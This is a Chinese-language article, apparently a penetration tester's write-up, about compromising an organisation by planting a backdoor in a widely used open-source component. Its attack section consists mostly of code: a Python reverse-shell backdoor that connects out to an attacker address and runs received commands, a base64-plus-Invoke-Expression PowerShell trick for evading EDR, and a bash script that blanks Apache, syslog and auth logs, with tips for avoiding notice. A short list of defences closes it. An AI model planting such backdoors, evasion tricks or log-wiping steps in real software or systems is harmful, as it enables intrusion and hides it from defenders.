一、一次难忘的供应链渗透
有一次，我在一个大型企业的渗透测试项目中，发现他们使用了一个开源的第三方组件。这个组件在企业内部的多个关键应用中被广泛依赖。我意识到，这可能是一个潜在的攻击入口。供应链攻击利用第三方组件作为攻击载体渗透到目标系统，是近年来愈发流行的攻击手法。本文将分享一次真实的供应链攻击案例，供安全研究人员学习。
二、追根溯源：供应链攻击的原理
供应链攻击的核心在于利用被广泛使用的第三方组件或软件作为攻击向量。攻击者会通过篡改或恶意植入代码到这些组件中，实现对目标系统的控制。关键在于信任关系，一旦第三方组件被篡改，使用该组件的所有系统都将面临风险。
关键步骤
- 识别目标组件：通过技术文档和网络信息，识别目标使用的第三方组件。
- 获取组件源码：通常可以通过开源平台获取源码，或通过内部渠道获取。
- 植入恶意代码：篡改组件源码，植入后门或恶意代码。
- 等待用户更新：一旦目标更新组件或重新编译，将恶意代码引入系统。
三、流量捕获实战：环境搭建
为了验证这种攻击方法，我们需要搭建一个模拟环境，包括受害者系统和攻击者系统。受害者系统应用了一个开源库，而攻击者系统负责篡改该库。
环境准备
- 受害者系统：运行Ubuntu 20.04，安装Apache Web服务器，使用某开源组件。
- 攻击者系统：运行Kali Linux，用于代码篡改和流量监控。
配置网络环境让这两个系统位于同一网络，便于流量捕获和分析。
四、Payload构造的艺术：实现攻击代码
在实战中，我选择了一个目标常用的开源组件，并在源码中植入了一个后门。该后门允许远程执行命令，获取系统权限。
Python后门代码实现
为了不被简单检测到，我利用Python编写了一段后门代码：
<pre><code class="language-python">import socket import subprocess
def backdoor():
设置连接目标和端口
attacker_ip = "192.168.1.100" attacker_port = 4444
创建套接字连接
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((attacker_ip, attacker_port))
循环监听
while True:
接收命令
command = sock.recv(1024).decode('utf-8') if command.lower() == "exit": break
执行命令并返回结果
output = subprocess.getoutput(command) sock.sendall(output.encode('utf-8'))
sock.close()
植入到组件中
backdoor()</code></pre>
五、绕过EDR的偏门技巧
在实际攻击中，为了绕过企业的EDR（Endpoint Detection and Response），我对后门进行了进一步的混淆处理，并利用合法进程加载后门。
PowerShell混淆技术
利用PowerShell对后门进行混淆，使得检测难度增加：
<pre><code class="language-powershell">$e = "JABhAHQAdABhAGMAawBlAHIA" # 原始字符串 $b = [System.Convert]::FromBase64String($e) $decoded = [System.Text.Encoding]::UTF8.GetString($b)
执行混淆后的命令
Invoke-Expression $decoded</code></pre>
通过这种方式，简单的字符串形式被Base64编码，再由PowerShell解码执行，绕过了一些简单的防护机制。
六、痕迹清除与检测反制
在渗透过程中，清除痕迹是确保不被追踪的重要一步。我使用了日志清除和系统重置等方法来掩盖攻击痕迹。
日志清除脚本
<pre><code class="language-shell">#!/bin/bash
清除Apache日志
echo "" > /var/log/apache2/access.log echo "" > /var/log/apache2/error.log
清除系统日志
echo "" > /var/log/syslog echo "" > /var/log/auth.log</code></pre>
个人经验：避免使用明显的命令，建议使用如echo "" >的方法清除日志，而不是直接删除文件，这样能避免引起不必要的注意。
七、个人经验分享：如何有效防御
在甲方安全团队工作多年，我意识到，确保供应链安全对于整体安全至关重要。以下是一些有效防御建议：
- 加强组件审核：定期审查并更新第三方组件。
- 引入代码审计机制：对关键组件进行代码审计。
- 使用多层防御策略：结合EDR、IDS/IPS等工具。
- 安全意识培训：提高员工对供应链风险的意识。
通过这些方法，可以有效降低供应链攻击的风险。然而，攻防永无止境，持续的安全投入和升级必不可少。在这次渗透测试中，我深刻体会到供应链攻击的威力，也意识到防御的重要性。希望本文能提供一些启发，供大家在实际工作中参考。